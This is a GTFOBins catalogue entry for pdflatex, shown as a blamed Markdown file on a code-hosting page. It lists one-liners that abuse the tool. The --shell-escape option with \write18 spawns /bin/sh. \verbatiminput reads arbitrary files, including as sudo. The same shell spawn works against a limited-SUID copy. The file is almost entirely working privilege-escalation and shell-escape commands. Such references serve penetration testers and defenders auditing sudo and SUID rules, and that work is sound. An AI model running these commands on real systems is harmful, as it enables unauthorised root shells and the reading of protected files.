GTFOBins.github.io/_gtfobins/pdflatex.md

22 lines
922 B
Markdown
Raw Normal View History

---
2021-04-22 22:13:51 +02:00
functions:
shell:
2021-04-22 22:13:51 +02:00
- code: |
pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
file-read:
- description: The read file will be part of the output.
code: |
pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
pdftotext article.pdf -
2021-04-22 22:13:51 +02:00
sudo:
- description: The read file will be part of the output.
code: |
sudo pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
pdftotext article.pdf -
- code: |
sudo pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
limited-suid:
2021-04-22 22:13:51 +02:00
- code: |
./pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
---